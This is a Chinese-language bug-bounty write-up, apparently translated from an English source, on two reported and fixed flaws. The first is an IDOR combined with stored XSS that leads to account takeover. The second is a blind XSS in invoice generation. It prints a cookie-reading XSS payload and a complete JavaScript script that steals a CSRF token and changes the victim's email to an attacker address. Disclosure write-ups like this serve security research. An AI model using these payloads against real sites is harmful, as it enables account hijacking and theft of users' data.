挖洞经验 | 记我的一次账号劫持和BLIND XSS漏洞发现过程
作者:admin | 时间:2018-6-15 03:51:54 | 分类:黑客技术 隐藏侧边栏展开侧边栏
大家好,本文我要分享的是我参与Hackerone某邀请项目,通过目标测试网站的高级功能模块(PRO features)实现了更多攻击面测试,并发现了两个严重漏洞,获得了$7000美金的不菲奖励。
第一个漏洞-账号劫持
我发现的第一个漏洞就是不安全对象引用漏洞(IDOR),利用该漏洞我能在每个账户中创建一个 element x元素,经过和朋友的交流,他建议我可以试试在其中注入一些 javascript 脚本,于是我就在某文本区域的 element x 中插入了以下Payload脚本,实现了用XSS方式对账户cookie的读取。
‘%22%3E%3Cimg+src%3Dx+onerror%3Dalert(document.cookie)%3E
IDOR:不安全的直接对象引用允许攻击者绕过网站的身份验证机制,并通过修改指向对象链接中的参数值来直接访问目标对象资源,这类资源可以是属于其他用户的数据库条目以及服务器系统中的隐私文件等等。导致这种情况出现的原因是,系统在接受用户输入并利用输入信息获取对象之前没有对用户身份权限进行检测。
现在,有了这种IDOR漏洞下的存储型XSS利用路径,而且目标测试网站又没有设置CSP的白名单机制,因此我可以构造一段小脚本,让这段脚本来窃取受害用户的CSRF令牌认证信息(CSRF token),这样可以修改其emailID或以管理员身份把对方添加为好友,间接实现对受害者的账户劫持。
与IDOR漏洞利用相同, javascript 脚本可以在所有账户中实现远程存储,然后通过构造运行,实现对所有目标网站注册账户的劫持,这就是XSS和IDOR漏洞的结合威力。我最终的 javascript Payload利用脚本如下:
function stealEmailToken() { var fetchHash = new XMLHttpRequest(); var url = "https://--domain--/--path--/personal/update_email.html"; var datax; var all_elements; var vc_email_token='initial';
fetchHash.onreadystatechange=function () { if(fetchHash.readyState==4 && fetchHash.status==200)
{
datax = fetchHash.responseText; var loot = document.createElement('html');
loot.innerHTML = datax;
all_elements = loot.getElementsByTagName( 'input' );
vc_email_token = all_elements[2].value;
alert('Stole your Email change Token: '+vc_email_token+' ...Tabahi'); //hack(vc_email_token); }
}
fetchHash.open("GET",url, true);
fetchHash.withCredentials=true;
fetchHash.send();
}
stealEmailToken(); function hack(emailToken) { var HackAccount = new XMLHttpRequest();
url= "https://--domain--/--path--/personal/update_email.html";
HackAccount .open("POST",url, true);
HackAccount .withCredentials=true; var data= 'AccountEmailForm%5BsEmail%5D%5Bfirst%5D=attacker%40attacker.com&AccountEmailForm%5BsEmail%5D%5Bsecond%5D=attacker%40attacker.com&AccountEmailForm%5B_token%5D='+emailToken
;
HackAccount .setRequestHeader('X-Requested-With','XMLHttpRequest');
HackAccount .setRequestHeader('Content-Type','application/x-www-form-urlencoded');
HackAccount .send(data);
}
这个脚本中,我能从…personal/update_email.html的账户页面中读取 input 元素的 csrf token ,然后利用 hack() 函数来把这个窃取来的 csrf token发送一个更改用户email ID的POST请求,最终实现账户劫持。上报这个漏洞之后,厂商团队马上就进行了修复,之后,我也获得了奖励的$3500赏金。
第二个漏洞 – BLIND XSS
由于目标测试网站开通有付费版的专业高级功能模块,所以我决定付钱来购买进行测试。这个购买付费方式有两种,也即信用卡和银行转账。在银行转账方式中,会生成一个电子发票并能按照用户在记账时输入的姓名邮箱地址等信息,以电邮方式发送到用户邮箱中。
因此,在pdf电子发票的生成过程中,我可以尝试着在其中注入一些html元素来看看是否能间接执行脚本,但是,这种方式是行不通的。
之后,我就在其中插入了一个利用 XSSHunter 生成的 BLIND XSS Payload,一切就静等上钩吧。几天之后,我无意间浏览了我的XSSHunter账户,出乎意料地发现,那段插入的BLIND XSS Payload竟然在目标测试网站的控制面板管理区域被成功触发了!
XSS Payload成功执行的同时,也一起生成了pdf的电子发票,也就是在这种电子发票自动生成过程中,系统未对输入作安全过滤,导致可以执行XSS Payload。通过这种测试方式,我能查看到将近1000多名顾客的电子发票记录和信息。以下显示的是姓名和地址字段的XSS触发信息:
上报了这个漏洞之后,我又获得了厂商团队 $3500 美金的奖励。
*参考来源:witcoat,FreeBuf 小编 clouds 编译